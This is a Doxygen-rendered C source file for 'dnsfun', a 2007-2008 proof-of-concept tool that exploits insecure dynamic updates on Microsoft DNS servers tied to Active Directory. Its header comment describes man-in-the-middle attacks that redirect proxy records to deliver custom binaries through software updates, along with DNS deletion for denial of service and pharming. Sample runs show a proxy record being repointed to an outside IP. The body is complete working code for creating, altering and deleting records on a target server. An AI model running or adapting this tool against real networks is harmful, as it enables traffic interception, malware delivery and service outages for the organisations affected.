C:/Web/dnsfun/dnsfun.c

Go to the documentation of this file.
00001 /*
00002 Exploiting Microsoft DNS Dynamic Updates for Fun and profit
00003 Dnsfun v1.1 - (c)  Andres Tarasco Acuna  ,  2007 - 2008
00004 Url: http://www.tarasco.org
00005   
00006 
00007 By default, most Microsoft DNS servers integrated with active directory allow
00008 insecure dynamic updates for dns records.
00009 This feature allows remote users to create, change and delete DNS records.
00010 There are several attack scenarios:
00011 
00012 + MITM attacks: Changing dns records for the network proxy and relay HTTP queries. 
00013   This attack vector is the most reliable and also allows us to exploit automatic 
00014   updates for most Windows software, by deploying custom binaries to the client.
00015 
00016  + Denial of service: by deleting / changing critical dns records
00017 
00018  + Pharming: like mitm attacks, poisoning several dns records.
00019 
00020 dnsfun exploits that weak configuration and allows remote users to modify dns records.
00021 Here are some examples of what can be done. Example:
00022 
00023 
00024 D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
00025 Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:
00026       
00027 D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6
00028 Microsoft Dynamic DNS Updates - Proof of Concept v1.1
00029 http://www.tarasco.org- (c) 2007 Andres Tarasco Acuņa
00030       
00031  [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
00032  [+] Host proxy.mydomain resolved as 192.168.1.200
00033  [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
00034  [+] Trying Nonsecure Dynamic Update...
00035  [?] Host Updated. Checking...(0)
00036  [+] Host proxy.mydomain resolved as 66.6.66.6
00037 
00038 D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.tarasco.org
00039  Microsoft Dynamic DNS Updates - Proof of Concept v1.1
00040  http://www.tarasco.org- (c) 2007 Andres Tarasco Acuņa
00041 
00042 [+] Gathering Credentials..
00043 [+] Creating DNS CName Record for atarasco.mydomain.com (www.tarasco.org)
00044 [+] Host Created. Rechecking Record...
00045 [+] Host atarasco.mydomain.com resolved as CNAME www.tarasco.org
00046 
00047 This isn't a new vulnerability but AFAIK those attack vectors were never exploited.
00048 
00049 Check the usage function for more information
00050 
00051 */
00052 #include <stdio.h>
00053 #include <winsock2.h>
00054 #include <Windns.h>
00055 #pragma comment(lib,"Dnsapi.lib")
00056 #pragma comment(lib, "ws2_32.lib")
00057 
00058 char TargetDnsServer[256]=""; // -s
00059 char TargetDnsRecord[256]=""; // -q
00060 char NewIpAddress[256]="";    // -i 
00061 char DeleteDnsRecord[256]=""; //-d 
00062 char CreateDnsRecord[256]="";
00063 
00064 WORD CreationType=DNS_TYPE_A;
00065 
00066 
00067 #define DELETERECORD   (DeleteDnsRecord[0]!='\0')
00068 #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
00069 #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') )
00070 #define QUERYRECORD    (TargetDnsRecord[0]!='\0')
00071 #define _DBG_
00072 #undef _DBG_
00073 #define DBG_DUMP_ROWS 16
00074 
00075 void usage(char *argv[]);
00076 
00077 
00078 DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers) 
00079 {
00080    
00081    DNS_STATUS status;
00082    WORD type= DNS_TYPE_ANY;
00083    DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT ;//| DNS_QUERY_TREAT_AS_FQDN;
00084    PVOID* reserved=NULL;
00085    DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
00086    DNS_RECORDA *result;
00087    IN_ADDR ipaddr;
00088    int i;
00089    int count=0;        
00090    
00091    if (!name) {
00092       return (NULL);
00093    } else {
00094       memset(records,'\0',sizeof(DNS_RECORDA));
00095       status = DnsQuery_A( name,          //PCWSTR pszName,
00096          type,          //WORD wType,
00097          fOptions,      //DWORD fOptions,
00098          servers,       //PIP4_ARRAY aipServers,
00099          (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,
00100          reserved ); //PVOID* pReserved
00101       
00102       if (status == ERROR_SUCCESS)
00103       {
00104          fflush(stdout);
00105          result=records;
00106          do {
00107 #ifdef _DBG_    
00108             printf("[+] Record %i---\n",count);
00109             count++;
00110             printf("[+] DNS  wDataLength %i\n",result->wDataLength);
00111             printf("[+] DNS Flags DW: %x\n",result->Flags.DW);
00112             printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);
00113             printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);
00114             printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);
00115             printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);
00116             printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved);
00117 #endif
00118             switch (result->wType) {
00119             case DNS_TYPE_A:
00120                ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
00121                printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));
00122                break;
00123             case DNS_TYPE_NS:
00124                printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);
00125                break;
00126             case DNS_TYPE_CNAME:
00127                printf("[+] Host %s resolved as CNAME %s\n", result->pName,result->Data.Cname.pNameHost);
00128                //DnsQueryA(result->Data.Cname.pNameHost,servers);
00129                break;
00130                
00131             case DNS_TYPE_SOA:
00132                printf("[+] SOA Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);
00133                printf("[+] SOA Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);
00134                printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %i - DefaultTld %i\n",
00135                   result->Data.Soa.dwSerialNo,
00136                   result->Data.Soa.dwRefresh,
00137                   result->Data.Soa.dwRetry,
00138                   result->Data.Soa.dwExpire,
00139                   result->Data.Soa.dwDefaultTtl);
00140                break;
00141                
00142             case DNS_TYPE_MX:
00143                printf("[+] %s MX Server resolved as %s (Preference %i)\n", result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);
00144                break;
00145 
00146             case DNS_TYPE_TEXT:
00147                printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?
00148                break;
00149 
00150             case DNS_TYPE_SRV:
00151                printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);
00152                printf("(Priority %i - Port %i - Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);
00153                //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);
00154                break;
00155                
00156             default:
00157                printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);
00158                break;
00159             }
00160             result=result->pNext;
00161          } while (result!=NULL);
00162       } else {
00163          if (status==9003) printf("[-] Record not found\n");
00164          else printf("[-] Query Error: %i - %i\n",status,GetLastError());
00165          exit(-1);
00166       }
00167    }
00168    return records;
00169 }
00170 /***********************************************************************************************/
00171 int main(int argc, char *argv[]) {
00172    
00173    HANDLE creds;
00174    DNS_RECORDA *result;
00175    DNS_STATUS status;
00176    
00177    HANDLE ContextHandle;
00178    DWORD Options=DNS_UPDATE_SECURITY_ON;
00179    PVOID pReserved=NULL;
00180    IN_ADDR ipaddr;
00181    IP4_ARRAY *servers=NULL;
00182    SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;
00183    WORD i;
00184 
00185  
00186    printf(" Microsoft Dynamic DNS Updates - Proof of Concept v1.1\n");
00187    printf(" http://www.tarasco.org- (c) 2007-2008 Andres Tarasco Acuņa\n\n");
00188    if (argc==1) usage(argv);
00189       
00190    //Init Credentials Struct
00191    Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));
00192    memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));
00193    Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;   
00194    
00195    for(i=1;i<argc;i++) {
00196       if ( (argv[i][0]=='-') ) {
00197          switch (argv[i][1]) {
00198          case 's':
00199          case 'S':
00200             strcpy(TargetDnsServer,argv[i+1]);
00201             servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));
00202             servers->AddrCount=1;
00203             servers->AddrArray[0]=inet_addr(TargetDnsServer);
00204             break;
00205          case 'D':
00206          case 'd':
00207             strcpy(DeleteDnsRecord,argv[i+1]);
00208             break;                    
00209          case 'q':
00210          case 'Q':
00211             strcpy(TargetDnsRecord,argv[i+1]);
00212             break;
00213          case 'u':
00214          case 'U':
00215             strcpy(NewIpAddress,argv[i+1]);
00216             break;
00217          case 'c':
00218          case 'C':
00219             strcpy(CreateDnsRecord,argv[i+1]);
00220             if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");
00221             if (argv[i][2]!='\0') {
00222                switch (argv[i][2]) {
00223                case 'c': CreationType=DNS_TYPE_CNAME;
00224                   break;
00225                case 'a': CreationType=DNS_TYPE_A;
00226                   break;
00227                }
00228             }
00229             break;           
00230 
00231              case 'x': //Uauthorization serName
00232             Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   break;
00233             case 'y':
00234             Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv[i+1]); break;
00235             case 'z':
00236             Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  break;     
00237 
00238             /*
00239             case 'f':
00240                CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);
00241                break;
00242             */
00243          default:
00244             printf("[-] Invalid argument: %s\n",argv[i]);
00245             usage(argv);
00246             break;
00247          }
00248          i++;            
00249       } else usage(argv);
00250    }
00251    printf("[+] Gathering Credentials..\n");
00252    //http://msdn2.microsoft.com/en-us/library/ms682007.aspx
00253    if (Credentials->UserLength==0) {
00254       status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default Credentials
00255    } else {
00256       status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with Custom Credentials
00257       //memset(Credentials,0,sizeof(SEC_WINNT_AUTH_IDENTITY_A));
00258       //DumpMem(((unsigned char *)ContextHandle),400);      
00259    }
00260 
00261    if (status == ERROR_SUCCESS) {          
00262       if (CREATERECORD) {
00263          
00264          result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));
00265          memset(result,'\0',sizeof(DNS_RECORDA));
00266          result->wType=CreationType; //DNS_TYPE_A by default
00267          if (CreationType==DNS_TYPE_CNAME) {
00268             printf("[+] Creating DNS CName Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
00269             result->Data.Cname.pNameHost=NewIpAddress;
00270          } else {
00271             printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);
00272             result->Data.A.IpAddress=inet_addr(NewIpAddress);
00273          } 
00274          result->pName=CreateDnsRecord;
00275          result->wDataLength=4;
00276          result->Flags.S.Section=1;
00277          result->Flags.S.CharSet=DnsCharSetAnsi;
00278          result->pNext=NULL;       
00279 
00280          status=DnsModifyRecordsInSet_A(result,  //add record
00281             NULL, //delete record
00282             Options,
00283             ContextHandle,
00284             servers,
00285             NULL);
00286          if (status ==ERROR_SUCCESS) {
00287             printf("[+] Host Created. Rechecking Record...\n");
00288             DnsRecordListFree(result,DnsFreeRecordList);
00289             result=DnsQueryA(CreateDnsRecord,servers);
00290          } else {
00291             printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status);
00292          }      
00293       } else if (DELETERECORD) {         
00294          printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);
00295          result=DnsQueryA(DeleteDnsRecord,servers);
00296          if (result!=NULL) {
00297             printf("[+] Trying to Delete Record. Are You Sure? (y/n)...");
00298             i=getchar(); if (i!='y') return(-1);
00299             printf("[+] Deleting record %s\n",DeleteDnsRecord);   
00300             status=DnsModifyRecordsInSet_A(NULL,  //add record
00301                result, //delete record
00302                Options,
00303                ContextHandle,
00304                servers,
00305                NULL);      
00306             if (status ==ERROR_SUCCESS) {
00307                printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);
00308                DnsRecordListFree(result,DnsFreeRecordList);
00309                result=DnsQueryA(DeleteDnsRecord,servers);
00310             } else {
00311                status=GetLastError();
00312                if (status==1312) {
00313                   printf("[-] Error: Unable to Delete %s. Authentication Required\n",DeleteDnsRecord);
00314                } else {
00315                   printf("[-] Error: Unable to Delete %s (Error: %i)\n",DeleteDnsRecord,GetLastError());
00316                }
00317             }
00318          } else {
00319             printf("[-] Host %s not found\n",DeleteDnsRecord);
00320          }
00321 
00322       } else if (UPDATERECORD) {
00323          //         exit(1);
00324          printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);
00325          result=DnsQueryA(TargetDnsRecord,servers);
00326          if (result->wType==DNS_TYPE_A ) {
00327             printf("[+] Trying to update record. Are You Sure? (Y/N)...");
00328             i=getchar(); if (i!='y') return(-1);
00329             result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record
00330             ipaddr.S_un.S_addr = (result->Data.A.IpAddress);
00331             printf("[+] Trying to set ip address of the host %s to %s \n", TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));
00332             printf("[+] Trying to Modify Record...\n");
00333             status=DnsReplaceRecordSetA(result,
00334                Options, //Attempts nonsecure dynamic update. If refused, then attempts secure dynamic update.
00335                ContextHandle,
00336                servers,//pServerList,
00337                NULL);//pReserved
00338             if (status ==ERROR_SUCCESS) {
00339                printf("[+] Host Updated. Rechecking Record...\n");
00340                DnsRecordListFree(result,DnsFreeRecordList);
00341                result=DnsQueryA(TargetDnsRecord,servers);
00342             } else {
00343                printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);
00344             }
00345 
00346          } else {
00347             printf("[-] Unable to Update Record (Type %x)\n",result->wType);
00348             }
00349       } else if (QUERYRECORD) {
00350          printf("[+] Query Information for host %s...\n",TargetDnsRecord);
00351          result=DnsQueryA(TargetDnsRecord,servers);
00352          DnsRecordListFree(result,DnsFreeRecordList);         
00353       } else {
00354          printf("[-] Unknown Options\n");
00355          return(-1);
00356       }           
00357    } else {
00358       printf("[-] Error Calling DnsAcquireContextHandle\n");   
00359    }
00360    return (1);
00361 }
00362 
00363 /****************************************************************************/
00364 void usage(char *argv[]) {  
00365    printf(" Usage:\n");
00366    printf("\t%s\t -[s]d|c|q[u][x|y|z] <options>\n",argv[0]);
00367    printf(" Details:\n");   
00368    printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);
00369    printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);
00370    printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);
00371    printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]);
00372    printf("\t%s\t -x user       (auth information. also use -y and -z)\n",argv[0]);
00373    printf("\t%s\t -y pass               (auth information. also use -x and -z)\n",argv[0]);
00374    printf("\t%s\t -z domain     (auth information. also use -x and -y)\n",argv[0]);
00375    printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);     
00376    
00377    
00378    printf("\n Examples:\n");
00379    printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv[0]);
00380    printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)\n",argv[0]);
00381    printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);
00382    printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);
00383    printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)\n",argv[0]);
00384    exit(0);
00385 }
00386 /****************************************************************************/
00387 
00388 

Generated on Fri Feb 22 19:50:08 2008 for Dynamic dns updates by  doxygen 1.5.4